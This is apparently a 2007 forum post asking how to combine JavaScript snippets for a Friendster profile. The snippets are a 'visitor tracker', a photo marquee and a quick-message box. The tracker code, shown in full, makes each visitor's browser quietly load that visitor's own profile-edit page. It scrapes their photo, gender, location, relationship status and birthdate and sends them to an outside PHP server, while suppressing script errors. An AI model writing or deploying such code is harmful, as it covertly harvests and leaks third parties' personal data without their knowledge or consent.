maine you know how to combine the js code of this to my wvm code and quik msg? because when i use this code its working but the pictures of my friends are still at the center and my quik msg box is gone heres the code can you check it please
[quote]//change the value to your complete php link
var trackerphplink="http://h1.ripway.com/balz/waaaa/tracker.php";
//change the value to your desired iframe appearance CSS (see w3schools.com for full documentation)
var trackerframestyle="width:90%;height:400;margin:2;border: 0px;overflow:auto";
//change the value to your desired sidebar Header
var visitorframetitle=pageOwnerFName+"'s Visitors";
/*#######################################################################################
Friendster Tracker version 2
author: Ken Marfilla
License: GNU General Public License, version 2
See
http://www.gnu.org/licenses/gpl.html for the full license.
Privacy Policy: Same as friendster.com
Disclaimer: this program is for educational purposes only
the author will not be responsible for any damage that this program will cause
The program is not affiliated with Friendster.com
########################################################################################*/
if (pageViewerID!="") {
var wvm="";
var myimg="";
var mystatus="";
var mylocation="";
var mygender="";
var myage="";
var done="";
var t="";
var indexhtml="";
var editprofilehtml="";
var base_domain="http://"+parent.location.hostname+"/";
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
var httprequest2;
httprequest.onreadystatechange=stateChanged;
httprequest.open( 'GET', base_domain+"index.php", true);
httprequest.send(null);
}
function stateChanged(){
if (httprequest.readyState==4){
indexhtml=httprequest.responseText;
httprequest2= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest2.onreadystatechange=stateChanged2;
httprequest2.open( 'GET', base_domain+"editprofile.php", true);
httprequest2.send(null);
}
}
function stateChanged2(){
if (httprequest2.readyState==4){
editprofilehtml=httprequest2.responseText;
parseValues();
}
}
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
function parseValues() {
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
myimg=urlencode(getPrimaryImage(indexhtml));
mystatus=urlencode(getStatus(editprofilehtml));
mylocation=urlencode(getLocation(editprofilehtml));
mygender=urlencode(getGender(editprofilehtml));
var p=getBirth(editprofilehtml);
myage=displayage(p[0],p[1],p[2],"years", 0, "rounddown");
wvm="?owner="+pageOwnerID+"&osh="+hr+"&oss="+sec+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+myimg+"&gender="+mygender+"&age="+myage+"&status="+mystatus+"&country="+mylocation;
if (!(pageViewerID==pageOwnerID) && !(myimg=="") && !(mygender=="") && !(mylocation=="") && !(mystatus=="") && !(myage=="")) done=1;
return;
}
function attachonbeforeunloadHandler(func) {
if(window.attachEvent)
{
//win 5.0-6.0
window.attachEvent('onbeforeunload',func)
return true;
}
if(window.addEventListener)
{
//moz,opera & safari
window.addEventListener('beforeunload',func,false)
return true;
}
return false;
}
if (!attachOnLoadHandler(function(){editContent()})) window.onload = function(){editContent()};
if (!attachonbeforeunloadHandler(function(){sendexit()})) window.onbeforeunload = function(){sendexit()};
function sendexit() {
if(done) {
document.getElementById("wvm").setAttribute("src",trackerphplink+wvm+"&exit=1");
alert("Bye " +pageViewerFName);
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.open( 'GET', base_domain+"index.php", false);
httprequest.send(null);
}
}
function editContent() {
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
var wvmhtm="<div align='center' id='cboxdiv'>"+
"<iframe src='"+
trackerphplink+"?osh="+hr+"&oss="+sec+
"' name='wvm' id='wvm' style='"+trackerframestyle+"'></iframe>"+"</div>";
var getCode=" <span style='width: 100%;text-align: right;font-size: -2px;vertical-align: middle'><a href='' target='_blank'></a></span>";
addSideBar(visitorframetitle+getCode,wvmhtm,"visitors");
requestListener();
}
function showframe() {
document.getElementById("wvm").setAttribute("src",trackerphplink+wvm+"&exit=0");
}
function requestListener() {
if(done) {
clearTimeout(t);
showframe();
return;
}
t=setTimeout("requestListener()",100);
}
function getPrimaryImage(frmtxt) {
var myregexp = /imgblock65homeprofile"[\S\s]*?src="([\S\s]*?)"/;
var match = myregexp.exec(frmtxt);
//alert(match[1]);
return match[1];
}
function getGender(frmtxt) {
var myregexp = /value="([m|f]{1})" checked>/;
var match = myregexp.exec(frmtxt);
if (match[1]=="m") return "male";
//alert(match[1]);
return "female";
}
function getLocation(frmtxt) {
var myregexp = /name="country">[\S\s]*?selected>([\S\s]*?)</;
var match = myregexp.exec(frmtxt);
//alert(match[1]);
return match[1];
}
function getStatus(frmtxt) {
var myregexp = /name="status"[\S\s]+?checked>[\S\s]+?>([\S\s]+?)<\/label/;
var match = myregexp.exec(frmtxt);
//alert(match[1]);
return match[1];
}
function getBirth(frmtxt) {
var res= new Array();
var myregexp = /birthmonth">[\S\s]*?selected>([\S\s]*?)</;
var match = myregexp.exec(frmtxt);
//alert("birthmonth: "+match[1]);
switch(match[1]) {
case "Jan":
res[1]=1
break
case "Feb":
res[1]=2
break
case "Mar":
res[1]
break
case "Apr":
res[1]=4
break
case "May":
res[1]=5
break
case "Jun":
res[1]=6
break
case "Jul":
res[1]=7
break
case "Aug":
res[1]=8
break
case "Sep":
res[1]=9
break
case "Oct":
res[1]=10
break
case "Nov":
res[1]=11
break
case "Dec":
res[1]=12
break
default:
res[1]=1
}
//alert("birthmonth: "+res[1]);
myregexp = /birthday">[\S\s]*?selected>([\S\s]*?)</;
match = myregexp.exec(frmtxt);
//alert("birthday: "+match[1]);
res[2]=match[1];
//alert("birthday: "+res[2]);
myregexp = /birthyear">[\S\s]*?selected>([\S\s]*?)</;
match = myregexp.exec(frmtxt);
//alert("birthyear: "+match[1]);
res[0]=match[1];
//alert("birthyear: "+res[0]);
return res;
}
function urlencode(txt) {
return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}
function displayage(yr, mon, day, unit, decimal, round) {
var one_day=1000*60*60*24;
var one_month=1000*60*60*24*30;
var one_year=1000*60*60*24*30*12;
var today=new Date();
var pastdate=new Date(yr, mon-1, day);
var countunit=unit;
var decimals=decimal;
var rounding=round;
finalunit=(countunit=="days")? one_day : (countunit=="months")? one_month : one_year;
decimals=(decimals<=0)? 1 : decimals*10;
if (unit!="years"){
if (rounding=="rounddown") return Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
else return Math.ceil((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
}
else{
yearspast=today.getFullYear()-yr-1;
tail=(today.getMonth()>mon-1 || today.getMonth()==mon-1 && today.getDate()>=day)? 1 : 0;
pastdate.setFullYear(today.getFullYear());
pastdate2=new Date(today.getFullYear()-1, mon-1, day);
tail=(tail==1)? tail+Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals : Math.floor((today.getTime()-pastdate2.getTime())/(finalunit)*decimals)/decimals;
return yearspast+tail;
}
}
function addSideBar(head,htm,div_id) {
var innerHtm=htm;
var cont="<div id='"+div_id+"' class='commonbox "+div_id+"'>"+
"<div class='commonbox'>"+
"<h2>"+head+"</h2>"+
innerHtm+
"</div>"
"</div>";
try {
var obj=document.createElement("<li>");
} catch(e) {
var obj=document.createElement("li");
}
var x=document.getElementById("friends_2_2");
x.parentNode.parentNode.appendChild(obj);
obj.innerHTML=cont;
}
var content2 = "<div align='center' id='raz'>"+
"<p align='center'>"+
"<marquee style='width:460px;' onmouseover='this.stop()' onmouseout='this.start()' scrollamount='4' behavior='alternate'>"+
"<marquee style='height:100px; width:100px;' onmouseout='this.start()' scrollamount='8' direction='up'>"+
"<img border='0' src='http://photos.friendster.com/photos/64/84/5554846/874596960.jpg'width='100' height='100'>"+
"</marquee>"+
"<marquee style='height:100px; width:100px; width:100px;' onmouseout='this.start()' scrollamount='8' direction='down'>"+
"<img border='0' src='http://photos.friendster.com/photos/64/84/5554846/886496422.jpg'width='100' height='100'>"+"</marquee>"+
"<marquee style='height:100px; width:100px;' onmouseout='this.start()' scrollamount='8' direction='up'>"+
"<img border='0' src='http://photos.friendster.com/photos/64/84/5554846/31520881157717.jpg'width='100' height='100'>"+
"</marquee>"+
"<marquee style='height:100px; width:100px;' onmouseout='this.start()' scrollamount='8' direction='down'>"+
"<img border='0' src='http://photos.friendster.com/photos/64/84/5554846/215997813.jpg'width='100' height='100'>"+
"</marquee>"+
"<marquee style='height:100px; width:100px;' onmouseout='this.start()' scrollamount='8' direction='up'>"+
"<img border='0' src='http://photos.friendster.com/photos/64/84/5554846/762040853.jpg'width='100' height='100'>"+
"</marquee>"+
"<marquee style='height:100px; width:100px;' onmouseout='this.start()' scrollamount='8' direction='down'>"+
"<img border='0' src='http://photos.friendster.com/photos/64/84/5554846/34865648917538.jpg'width='100' height='100'>"+
"</marquee>"+
"</marquee>"+
"</p>"+
"</div>";
function moving(){
document.getElementById('content_photos_1_2').innerHTML=content2;
}setTimeout("moving()",10000);
function quickMsgadd() {
sisi("Quick Message","<div align='center' id='quickmsg'>"+
"<form name='quickmessagename' action='http://www.friendster.com/sendmessage.php' method='post' onsubmit='this.onsubmit = new Function('return false');'>"+
"<input type='hidden' name='_submitted' value='1'><input type='hidden' name='msg_type' value=''><input type='hidden' name='uid' value='"+pageOwnerID+"'>"+
"<table class='formtable'><tr><td class='field'><label for='subjectfield'></label></td>"+
"<td class='value'><span class='field'>Subject:</span><br><input id='subjectfield' type='text' name='subject' size='25' maxlength='100'></td></tr>"+
"<tr><td class='field'><label for='messagefield'></label></td><td valign='top' class='value'><span class='field'>Message:</span><br>"+
"<textarea id='messagefield' name='message' rows='5' cols='25' wrap='hard'></textarea><input readonly type='hidden' name='inputcount' size='5' maxlength='4' value='100'></td></tr>"+
"<tr><td class='field'></td><td class='value'><input type='checkbox' name='savetosent' value='y'>Save a copy in your Sent folder</div><br>"+
"<center><input class='clearButtons' type='reset' value='Reset' maxlength='26' onClick='reset()'>"+
"<input type='submit' name='Submit' onMouseOver='window.status='Send';return true;' value='Send'></center></td></tr></table></form></div>","qmsg");
}
function sisi(HName,hyperTML,myID) {
if (navigator.appName == "Microsoft Internet Explorer") {
var bentuk = parent.document.createElement("<li>");
var teman = parent.document.getElementById("friends_2_2");
teman.parentNode.parentNode.appendChild(bentuk);
bentuk.innerHTML = "<div id='"+myID+"' class='quickmsgbox "+myID+"'><div class='commonbox'><h2>"+HName+"</h2>"+hyperTML+"</div></div>";
}
else {
var kutneb = parent.document.createElement("li");
var namet = parent.document.getElementById("friends_2_2");
namet.parentNode.parentNode.appendChild(kutneb);
kutneb.innerHTML = "<div id='"+myID+"' class='quickmsgbox "+myID+"'><div class='commonbox'><h2>"+HName+"</h2>"+hyperTML+"</div></div>";
}
}
function RmvE(BlockE) {
return true;
}
window.onerror=RmvE;car="activate";setTimeout("quickMsgadd()",5000);
//nothing to edit hir
function posisifeatured(){
var obj = document.getElementById("friends_2_2");
var curleft = curtop = 0;
if (obj.offsetParent) {
curleft = obj.offsetLeft
curtop = obj.offsetTop
while (obj = obj.offsetParent) {
curleft += obj.offsetLeft
curtop += obj.offsetTop
}
}
var Yna = curtop;
var Xna = curleft;
var WidthFriends = document.getElementById("friends_2_2").offsetWidth;
document.getElementById("content_scrapbook_1_8").style.position="absolute";
document.getElementById("content_scrapbook_1_8").style.top=Yna + 30;
document.getElementById("content_scrapbook_1_8").style.left=Xna + 115;
document.getElementById("content_scrapbook_1_8").style.width=WidthFriends - 110;
document.getElementById("content_scrapbook_1_8").style.height="680";
document.getElementById("content_scrapbook_1_8").style.overflowY='hidden';
}setTimeout("posisifeatured()",10000);[/quote]
Last edited by balz (2007-05-24 02:07:34)